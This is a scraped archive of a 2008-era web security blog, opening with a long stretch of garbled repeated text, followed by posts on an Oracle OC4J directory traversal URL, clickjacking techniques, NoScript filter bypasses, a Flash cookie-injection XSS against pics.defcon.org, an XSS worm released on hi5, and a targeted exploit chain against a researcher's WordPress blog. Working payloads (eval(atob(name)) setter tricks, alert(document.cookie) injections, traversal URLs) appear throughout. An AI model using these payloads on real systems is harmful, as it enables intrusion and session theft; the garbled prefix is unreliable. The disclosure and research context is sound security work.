ondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogleweapondagoogl

Oracle Containers For Java Directory Traversal (OC4J) Oracle Application Server 10g (10.1.3.1.0) Oracle HTTP Server

Server Version Info: Oracle-Application-Server-10g/10.1.3.1.0 Oracle-HTTP-Server
PoC: http://OC4J/web-app/foobar/%c0%ae%c0%ae/WEB-INF/web.xml
Related: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2938
Explaination: The "%c0%ae%c0%ae" is interpreted as: ".." because on Java's side: "%c0%ae" is interpreted as: "\uC0AE" that get's casted to an ASCII-LOW char, that is: ".".

You can read dangerous configuration information including passwords, users, paths, etc..
Discovered: 8/16/08
Vendor contacted: 8/16/08
Vendor response: 8/18/08
Vendor reproduced the issue: 9/10/08
Vendor last contact: 9/30/08
Public Disclosure: 1/19/09

Oracle security bug id: 7391479

For more information contact Oracle Security Team: secalert_us@oracle.com

I really wanted to give a link to a patch, but I think it's better if this is known by sysadmins so they can filter this using an IDS.

Greetings!!

About CSS Attacks

Gareth, David and I went to Microsoft Bluehat v8, it was pretty fun meeting everyone.

Gareth described the talk pretty well in here: http://www.thespanner.co.uk/2008/10/20/bluehat/, (slides) anyway I want to show the stuff we didn't showed at Bluehat because of their no-zeroday policy (even if the vendor wasn't willing to patch).

So well we have the following clickjacking PoCs, that show different attack techniques.

Ghost Mirror - GMail PoC

http://www.sirdarckcat.net/gmailclickjacking.html

Sends an email when you click [Send] (check your sent mails folder).

This technique works like this:

You get a copy of the generated HTML code of the target webpage, then you simply hide everything, except for the button you want to overlay.. you could draw other things using absolute positioning, but this is enough for most scenarios.

You can checkout the "ghost page" here: http://www.sirdarckcat.net/dad.html

This attack has it's pros and it's cons.. the most important pro is that it's the best way of doing cross-browser exploits.. since you don't depend on the sizes, margins, overflow rules etc.. that different browsers use.

This attack (and PoC) was reported to Google Security Team on Sat, Sep 27, 2008 at 11:37 PM, the response was that it won't be fixed (I'm sure they have more serious issues to take care about).

Frame Cropping - Twitter PoC

http://www.sirdarckcat.net/coconuterror.html

This one uses another technique, that is usefull for selecting a specific section of a webpage, this specific PoC is Firefox only, not because the technique is not posible on other browsers, but because you have to make a different exploit for each different browser.

The way it works is using 2 iframes with a fixed height/width and possition, you only have to positionate the iframe using negative left/top coordinates, once you have that, you crop to the height and width of the button.


If that's not possible due to styling specific issues, then you have to use a second iframe that will have a height/width of the size of the button to be overlayed.

Both iframes must have the CSS properties overflow:hidden; and border: 0 (or their HTML attribute equivalent {like frameborder instead of border}).

This one is sexy :)

We also have the.. javascript ones.

Pixel Window - Adobe Flash Webcam PoC

http://ha.ckers.org/weird/cjdivtest.html


This one overlays 4 divs leaving a window where the mouse will be clicked.


Update to the latest Adobe Flash Player to be protected against this vulnerability.
http://get.adobe.com/flash/


Mouse Chase - Adobe Flash Webcam PoC

http://grack.com/record/


The same principle of Pixel Window..but now with the overlay chasing the mouse position.


CSS Attribute Reader Source Code


http://eaea.sirdarckcat.net/cssar/v2/?source

The first version of the reader wont be released yet, maybe later.. sorry.

This type of attack is relevant, because this could start a new type of attack based on XSS, that could be called Cross Site Styling (since we are not really using a scripting language).

There's another version, made by Wisec that is also pretty cool, based on meta refreshes, it calculates 1 char per second, he'll be presenting it soon at ruxcon.

By the way, I also want to say thanks to the guys that attended bunkent0r for their feedback on the presentation.

Greetz!!

Symantec Altiris Deployment Solution < 6.9.176 Multiple Vulnerabilities

Ok so, this isn't the normal type of vulnerabilities I post here (I'm mostly a webappsec guy), but well, I discovered this elevation of privileges on this product of Symantec (Altiris Deployment Solution), and it was fixed a while ago, but I hadn't the chance to post about it.

This was researched with Alex Hernandez from sybsecurity.com and from elhacker.net.

The document explaining the vulnerabilities is here.

And the exploit for the elevation of privileges is here.

This was reported to Symantec ( secure@symantec.com ), and they had a very quick and fluent communication with us, they responded fast whenever we asked for information, or had any doubts. The follow-up of this vulnerability has been tracked until today, and so the security team of Symantec is the best one we've met.

Symantec released an advisory here:
http://www.symantec.com/avcenter/security/Content/2008.05.14a.html

Sybsecurity released another one here:
http://www.sybsecurity.com/advisors/SYBSEC-ADV15-Symantec_Altiris_Client_Privilege_Escalation_Vulnerability

Greetings!!

Hacking NoScript

Well, some people have recently asked why I am on some NoScript release notes.. and that's a good question..

I haven't released any details on the hacks against NoScript, since most of them where reported privately to Giorgio..

This is not the exception, I wont release any 0days here, I'll just give the details of the issues that I've reported in the past, and current NoScript users are immune to.

Is important to say, that Giorgio fixes stuff in "hours", (or minutes in some cases), and he has done some crazy stuff, just so NoScript users can be safe, so if you dont use it, go get it.

So, I'll go on chronological order:

v 1.1.6.25
=====================================================================
+ Fix for Sirdarckcat's JS redirection trick

That was.. if a website has an open redirection (like, for example, Google's default open redirection feature), and you have that website as trusted (such as most people I guess they have.. Google).. a embed script on a website, pointing to Google's redirection, will be reported to be "from Google", and it will be loaded and executed.

This was useful for example, to attackers that were not able to make a self contained XSS payload, and they needed to load the script from their website, but since their website was surely not on their victims whitelist, then the attack would be unsuccesfull.

Anyway, by means of this, an attacker could be able to do something like the following PoC: http://www.sirdarckcat.net/hades

There I use another redirection on pages.google.com.

If you use NoScript>=1.1.6.25, this attack will be unsuccesful.

v 1.1.7.6
=====================================================================
+ srv.br "special" TLD (thanks Rodrigo Ristow Branco)
+ Better protection against "setter" based XSS vectors and encoded
"name" payloads (thanks RSnake, Sirdarckcat and Kuza55, see
http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/ )
+ Improved hidden links management, preserves original body CSS
attributes when possible (thanks mdots)

That was an issue on NoScript XSS payload detection, that I discussed some time ago.

The issue was that NoScript didn't detected setter/getter assignations, and so http://ha.ckers.org/xss.swf?a=1:setter/**/a=eval,setter/**/b=atob,a=b=name

Was able to bypass NoScript filters.

The xss.swf page was removed by RSnake, and (if you have ha.ckers.org as trusted) you will see NoScript XSS detection alert, if you are using NoScript >=1.1.7.6

v 1.1.7.8
=====================================================================
+ JAR uris are forbidden from loading as documents by default, see
http://noscript.net/faq#jar for details
+ Block untrusted XBL (thanks Sirdarckcat for inspiration)
x Various IFrame blocking refinements

Well, I didnt reported that, I just inspired ma1 (and I dont know the details), but.. I guess that means that now -moz-binding XBL are not loaded if they are hosted on an untrusted website.

This is probably related to rsnake's hacking attempt.

v 1.2.2
=====================================================================
x Changed noscript.filterXGetRx default to make single quote removal
happen only after positive injection checks (thanks sirdarckcat for
suggestion)

About that one, it was a bug (not a vulnerability), that removed single quotes from websites, and iframes on some situations.

Actually I discovered this while visiting kuza55's blog, since the little iframe in the top of blogspot blogs include the blog's title, and his blog title has a single quote.. that created some errors.

v 1.6.9.2
=====================================================================
x Fixed Injection Checker checking ASCII 43 as a "plus" sign but not
as a www-form-encoded space (thanks Sirdarckcat for report)
x Google search anti-XSS exception now checks for real TLDs, rather
than short 2nd level domains (thanks Sirdarckcat for report)
+ Refactored unescaping flow, allowing for easier extension
+ Ebay-style unescaping

That's detailed on sla.ckers, here:
http://sla.ckers.org/forum/read.php?12,17238,page=2#msg-22925

I'll quote my message:

Re: Hacking noscript

Posted by: sirdarckcat (IP Logged)

Date: June 16, 2008 04:02AM

Ah! hacking noscript?

thats easy..
[trustedsite.com]

for example.. (eBay has a XSS issue very similar to the one I'm describing (well, actually, a lot of sites, but eBay rocks))

But duuuude!! what's happening?

Well, NoScript thinks, that.. "+" is a plus.. but in reality.. "+" is a space, and so..

var x=''+alert(document.cookie) //a:';

is valid js code! (damn, I'm good, 10 minutes to hack NoScript :D)

Greetz!!

PS. It's a joke, noscript is great :P, and even do I did spent 10 minutes to find the issue, it was because I had this idea for attacking noscript since a couple of months ago, but I didnt tested it till today.


but WAIT!!
thats all?

The hell it isn't!! (anyway, this last attack is not so dangerous, since it requires user interaction [enabling javascript on an untrusted domain])

Let's take a look at NoScript's default anti-xss rules:
^[url]http://[/url]([a-z]+)\.google\.(?:[a-z]{1,3}\.)?[a-z]+/(?:search|custom|\1)\?

That means, well.. that:
[images.google.com]

Will bypass NoScript (because we all trust google =D), but.. wait.. that's for google domains exclusively right?

Well, wrong!! because, well.. 20 bux, we can get a 3 letter domain [www.3character.com]

And so do:

[www.google.xss.com]

Pointing google.xss.com to your router or something.

There's an issue with this last attack.. NoScript does his job, and automatically denies google.xss.com.. anyway, enabling javascript in such domain (social engineering) would allow the attacker to send evil XSS attacks to your router/intranet what-ever.

Anyway, hacking noscript is fun :D

And in any case someone wondered..

[search.ebay.com]

And yeah, that's not triggering noscript alarms :D

Greetz!!

And after all, this is ma1 response (where he uncovered that eBay uses a weird Q encoding, I didn't saw):

Re: Hacking noscript

Posted by: ma1 (IP Logged)

Date: June 16, 2008 09:36AM

FIXED

Now that it's fixed, I'll explain my innuendo to Ebay's "scary and brainless" issue, which reminds me closely last month's Base64 Yahoo one.

Your PoC was

hxxp://search.ebay.com/search/search.dll?_trksid=&satitle=ME+XSS+U&category0=&from=%27%2Balert(document.cookie)%2B%27

and it did not bypass NoScript. I guess you meant to write it in the "mixed plus" form, but this is not.

But here's the truly scary one:

http://search.ebay.com/ME-XSS-U_W0QQfromZQ27Q2balertQ28documentQ2ecookieQ29Q2bQ27

As you can see, ebay uses its own custom "Q-encoding", allowing XSS payloads virtually undetectable to any filter, except NoScript >= 1.6.9.2 ;)

IMPORTANT REQUEST (rules change)
Since as far as I can see NoScript now is actively used by more than 1.5 million users, it would be kind of you if new issues were responsibly disclosed to me before posting them there.
I guarantee to handle them the very same day I read your report and to publish a development build with proper credits, but since one week is probably the minimum user-bearable window for automatic updates on stable releases, a 7 days grace period would be nice as a compromise to avoid an excessively tight update schedule for stable version users.

And PHPIDS now supports Qencoding decripting btw :P

v 1.6.9.8
=====================================================================
x Restored the noscript.forbidData preference to its orginal "true"
default value (thanks Sirdarckcat for reporting an issue in the
about:blank context prevented by this change)

And this one, the latest, is about a way of executing javascript even on untrsuted domains, if you can get your users to click while holding Ctrl.

This are the e-mails:

/(?:Ctrl|Shift)[::click::]/.test(NoScript);
9 messages

---

Eduardo Vela <>	Sat, Jun 21, 2008 at 7:07 AM
To: Giorgio Maone <>
Hi Giorgio! I've found out that NoScript allows javascript code execution on untrusted sites if you make your visitor click Control or Shift, and click on a page. I've mounted a PoC: http://www.sirdarckcat.net/aw.html Hold Control and then click somewhere. The script runs on about:blank context.. so it's not so, so, dangerous, but anyway.. Greetings!! -- Arnold Schwarzenegger - "I have a love interest in every one of my films - a gun."

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:32 AM
To: Eduardo Vela <>
Hi Edoardo! Thanks for the info, it's very interesting. I'm investigating it. Cheers -- Giorgio [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:35 AM
To: Eduardo Vela <>
BTW, shift does not work for me (must still test on a clean profile, though) but ctrl does. [Quoted text hidden]

---

Eduardo Vela <>	Sat, Jun 21, 2008 at 9:36 AM
To: Giorgio Maone <>
Control should open the script on a new tab, and shift on a new window.. maybe popup blocker stuff, or something? [Quoted text hidden] -- Frank Lloyd Wright - "TV is chewing gum for the eyes."

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:38 AM
To: Eduardo Vela <>
Maybe, or Tab Mix Plus. Shift does open a window for me, but it's empty and no script gets executed. [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 9:56 AM
To: Eduardo Vela <>
Forgot to tell, this is a bug for me (likely a regression), because I've got code in place to prevent exactly this sort of javascript:/data: url openings. Hence expect a fix build in a very short time. Thanks! [Quoted text hidden]

---

Giorgio Maone <>	Sat, Jun 21, 2008 at 10:12 AM
To: Eduardo Vela <>
OK, I found the culprit. At a certain point in time I turned the default for the "noscript.forbidData" about:config preference to "false", in order to work-around a Firebug bug. It seemed a relatively innocuous change, considered also that about:blank is not in the default whitelist. Anyway, since the Firebug issue is obsolete and I'm much more worried of this kind of bypass, next build will restore the original "true" default. Thanks again -- Giorgio [Quoted text hidden]

---

Giorgio Maone	Sat, Jun 21, 2008 at 10:34 AM
To: Eduardo Vela
Done :) Please wait for public release of 1.7 (in a week or even earlier) to disclose the details. [Quoted text hidden]

So, that's all, we are on 1.7.1 and this last bug was fixed on 1.6.9.8, so we are all safe =)

Anyway, as it wil be soon explained, just blocking javascript, flash, and other plugins is not enough.. we have a sexy assassin uncaptured ;)

Greetings!!

Ghosts for IE8 and IE7.5730

Here's a new version of the last post code for hijacking IE6 and IE7 iframes.

Aparently some versions of IE where fixed, (the code didnt worked for 40% of the people), so after downloading the newest IE7, I kept researching and found another issue.


Sample PoC Here.

This time the code will open a new window (hackademix.net), it will hijack one of the iframes, and capture keystrokes.

It's the same idea as last time, but bypassing a weird protection.

Greetz!!

Browser's Ghost Busters

Due to the news that there are a few ghost busters on the wild, and no one is willing to tell us exactly what's the ghost about, I've been doing some research to find out proof that those ghosts exist.

I'm talking about Manuel Caballero's talk A Resident in My Domain:


From one of the pictures it tells us that there's some relation to iframes.. and also from the description of the talk it tells us that it is able to capture non-domain-privileged DOM attributes and methods ( if we could steal cookies, then the description would be a lot more apocalyptic ).. and well, we also know it is cross-domain..

1. So, the first "fact" is that using the iframes on any website, you can capture top.location's and keystrokes (this is well known).
   
   
2. So, there's a way of modifying iframes on a window, on a domain is not ours.
   
   
3. So, we need a way of getting a reference to a window.

There are some ways of doing that:

• window.opener.window
• open().window
• frames[].window
• top
• parent
• [maybe others I don't know]

4. So, once we have that, we need a reference to the iframes.

There's 2 ways I know of doing that

• document.getElementsByTagName("iframe");
• window.frames[];

And, so.

• getElementsByTagName fails (IE6, IE7, FF2, FF3, Safari 3).
  
• window.frames[] doesnt fail (IE6, IE7, FF2, FF3, Safari 3);

So we will use window.frames[] to access the iframes.

Knowing that..

5. We will try to modify the location of such frames.

We have a few ways of doing that.

Via

• parent.open("new location","frame-name");
• frame.location="new location";
• frame.open("new location","_self");

The modification of location of iframe's location work on windows inside frames on IE6, IE7, FF2, FF3 (go here and then use this code) but we wont use a frame in a frame to get the reference to the window, since we cant detach a window from a frame, and so, it is not what the bug is about.

Anyway, none of the mentioned method work for windows gotten from window.opener and open() on FF2 or FF3, but it does work on IE7 on windows gotten from open() and from window.opener.

6. So so far, we have an exploit that only works on IE (6&7).

What do you say? is this the proton pack we were looking for?


For obvious reasons I wont disclose a IHE (Interactive Hacking Environment) as Caballero apparently has one, but I think this may be the bug, or some similar bug to the one he presented.

Greetings!!

PS. This doesn't work on IE8. thanks to thornmaker for testing.
PS2. There's a version that works on IE8 and all versions of IE7:
http://sirdarckcat.blogspot.com/2008/05/ghosts-for-ie8-and-ie75730.html

Exploiting XSS vulnerabilities on cookies

Well, after talking with David Ross about the last post (bypassing content-disposition), I found out that it's exploitation wasn't as easy as it appears since IE has done some updates on the last couple of months.. so well.. sorry about that.

Anyway, I guess it's time to say the world a little way of exploiting XSS vulnerabilities that echoes the value of a cookie.

This is based on majohn trick (setting headers via flash post), and well, I remembered about that when I saw kuza's talk.

This is done via flash:

class defconxss {
static function main(mc) {
  var req = new LoadVars();
  req.addRequestHeader("Cookie:bblastactivity=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E", " ");
  req["1"]="1";
  req.send("https://pics.defcon.org/misc.php?action=cookies", "_self", "POST");
}
}

This is a PoC for a XSS at pics.defcon.org you can read more about it here: http://whk.h4ck1ng.net/2007-12.22/xss-en-defconorg/ but it's on spanish.

An important thing to say is that the cookies sent this way are not persistent by default, anyway, some codes make force them to be persistent.

So this works for me with the latest player: http://www.adobe.com/shockwave/download/

Anyway, internet explorer is not vulnerable.. damn..

You can download kuza's talk here: http://outpost.h3q.com/fnord/24c3-torrents/24c3-2212-en-unusual_web_bugs.mp4.torrent

Greetz!!

Bypassing Content-Disposition: attachment for XSS on IE

Well first of all I want to congrats my friend kuza55 because of his talk "Unusual Web Bugs" at 24c3, was a success.

I watched it on the stream, and even do it dropped every 2 minutes, the audio was sort of constant, so I was able to hear it.

So, it was awesome, and he used the stuff that was investigated and discovered lately, so that was a cutting edge talk.

Anyway, I tried to make kuza receive a message for the Q&A, that wasn't able to arrive, when you say that the header Content-Disposition: attachment is a restriction that no one has been able to bypass, well it's bypassable, and I dunno why I didn't told you about this.. anyway..

Suppose that http://www.victim.com/downloads.php?file=999 is a downloader that sends the header: Content-Disposition: attachment, then you can make IE to display the content as "the best guess", by caching it first, like this:

<script src="http://www.victim.com/downloads.php?file=999"></script>
<iframe src="http://www.victim.com/downloads.php?file=999"></iframe>

The iframe will load the cached source, and it will show the best guess IE can make.

I haven't tested this on firefox, sorry, but at least it works on IE 6 and 7.

So, that's mostly all, just wanted to say that..

Greetz!!

Making a Social Network XSS Worm (hi5.com)

Well, the last couple of days I've been playing with hi5.

It's pretty cool, and I found a couple of XSS vulnerabilities.

I reported them to help@hi5.com, security@hi5.com, admin@hi5.com and all the e-mails I found on the domain hi5.com.

Well, they didn't responded.

So, there's a XSS Worm for hi5 on the wild.

The worm is on the following profile (if you visit it throught this domain you wont get infected, the problem lies if you visit it through www.hi5.com domain):

http://xssworm.hi5.com/

I'll alert you that the profile may be deleted by hi5 staff at any time.

I'll give an explanation on how this worm works as soon as it's controlled by the hi5 team, since it doesn't use XHR.. and some people asked me on the past if it is possible to do a worm without XHR.

To the hi5 team: there are a lot of vulnerabilities on your website, if you wish, I could help you with them, just respond the freaking e-mails.

cya!

UPDATE

I've finally been contacted by the hi5 team, we are working on solving the XSS & CSRF vulnerabilties.

CSK2 and CSS Applications

This week, I've sort of improoved the CSK of Gareth Heyes, with a few more event handlers, and interoperability with Opera (and menus!!).

This new version is over here:
http://www.sirdarckcat.net/csk2.html

Anyway, with the research I did, I also found the bast world of possibilities implied on CSS.

Starting from the CSK2, I've developed a game made in CSS with no javascript (anyway, you can only play once).. which currently works on all browsers, except from IExplorer.

I also used this knowledge gathered, to make my final project on the university (it was just making a website.. haha): http://da-vinci.awardspace.com/ this works just on firefox (don't tell my teacher, :P)

On some other news, thornmaker and I, where trying to proof that CSS + HTML is Turing Complete, anyway, since we dont have a way to make real loops (evendo we had some ideas about including bindings that include themselves until a condition is made, that could work as recurtion), it "appears" that CSS+HTML is NOT Turing Complete.. anyway, I'll continue investigating to be sure.

Greetz!!

Inside History of hacking rsnake for fun and pagerank.

Well the research made for the exploit for the joke for rsnake is sort of interesting, so I'll try to explain what was needed (even do it was unsuccesfull).

This was made with the help of the research made by the members of sla.ckers like ascii, gareth heyes, rsnake, Jeremiah Grossman, thornmaker, Wisec, kuza55 and me.

It exploited a bug and a feature from ha.ckers.org:

• bug: http://ha.ckers.org/xss.swf
• feature: http://ha.ckers.org/blog/wp-admin/anything is protected to everyone besides rsnake and id IPs.

And a feature from Firefox:

• feature: XBL bindings.
  

Some bugs from NoScript:

• XBL Frame Injection to bypass NoScript IFrame protection.
• setter/name NoScript anti XSS filter bypass.

(this bugs have been patched since version 1.1.7.8 of NoScript)

You can read the comments from Robert Hansen, and Giorgio Maone about this exploit at ha.ckers.org and hackademix.net (oh jeremiah grossman also talked about this here and some others in langs that I dont understand).

The only thing the exploit required was that rsnake had ha.ckers.org white-listed on NoScript, but it didn't succeed for that and some other secret reasons.

For targeting the exploit just for rsnake, and hiding it from other persons, we did 3 things.

First we checked if rsnake had ha.ckers.org/blog/wp-admin/post-new.php on his history via CSS History check without javascript.

If this was unsuccesfull because of the "SafeHistory" plugin, or any other reason, we checked if his IP had access to ha.ckers.org/blog/wp-admin/wp-admin.css stylesheet, if he had, we would try to exploit it.

For doing that we played with display:block/display:none properties of iframes, but in the case that rsnake had NoScript iframe protection enabled, then the exploit would be unsuccesfull, so we added a -moz-binding, for detecting NoScript presence, and replacing it with a frameset/frame.

With that, we just redirected rsnake to the payload, the problem was that NoScript detects reflected XSS attacks, so we needed to find a way to bypass it, and we did.. (http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;)

That in un-obfuscated code is:

eval(atob(window.name)).

atob=decode base64.

The reason this bug works was a mistery at the begining, but after Wisec re-constructed the as2 bytecode he saw that there where some variables appending to the url, and then after some more research this is the reason this guys found out (explained by kuza55):

the Flash file looked like this:

getURL("javascript:('XSS')", "_self", "GET");
stop();

That third parameter turned out to be the key (though we only found this by an absolute fluke), initially we just assumed that the third parameter was just saying it should be a GET request, but the third argument does more actually:

[www.adobe.com]

getURL(url [, window [, "variables"]])

[snip]

variables: A GET or POST method for sending variables. If there are no variables, omit this parameter. The GET method appends the variables to the end of the URL, and is used for small numbers of variables. The POST method sends the variables in a separate HTTP header and is used for sending long strings of variables.

Now, seeing as in AS2, all variables which are passed on the URL are imported into the global scope (like register_globals), we get it sent with the request. Now seeing as there was no semi-colon at the end of the first argument, we were able to abuse the fact that the ? is not only the thing separating the variables in the URL from the file, but it is also the javascript ternary operator.

So we simply used this to finish off a valid statement using the ternary operator, and then specified our XSS.

The window.name trick doesn't require a javascript doing window.name="payload".. it required just a frame named as we wanted.. (< iframe name="payload">) since NoScript strips any char matching [^a-z0-9_\-] with space in window.name, then we needed to encode the payload in base64 and remove all the "+" and "/" chars of it via whitespacing where they where shown.

So, we posted a comment with a link that may attract the attention of rsnake when moderating the comments, and we only needed to wait..

Then, we saw the anti-climax.. the comment was aprooved, and the payload wasnt triggered.. lol (hey spammers)

So we did another post, now with a link that appeared to be spam, and we did..
http://owaspnj.blogspot.com.

Any way, that comment wasnt aprooved, and the exploit in there (that was clearly more hidden than the ultimatehxr.googlepages.com) was not necessary.

So you can see the exploit here (it's commented :D):

http://www.sirdarckcat.net/blah2.html

if you want to know what's blah1.html, it's just how we where trying to detect the wp-admin.css.

The last thing is to explain the functionment of the payload.

1.- via XMLHttpRequest, it asked for /post-new.php source code.
2.- it created an iframe, and writted inside that iframe the source code with a.. "< base target="/wp-admin">"
3.- Then he submited the first form modifying the title, content, and tags fields, and clicking on publish (yeah we wanted the payload to had tags).
4.- And that was all, no RegEx.match for finding nonces, and nothing :P..

You can see the content of the post as it would appear if the exploit suceeded here:
http://rsnakex.wordpress.com/

Greetz!!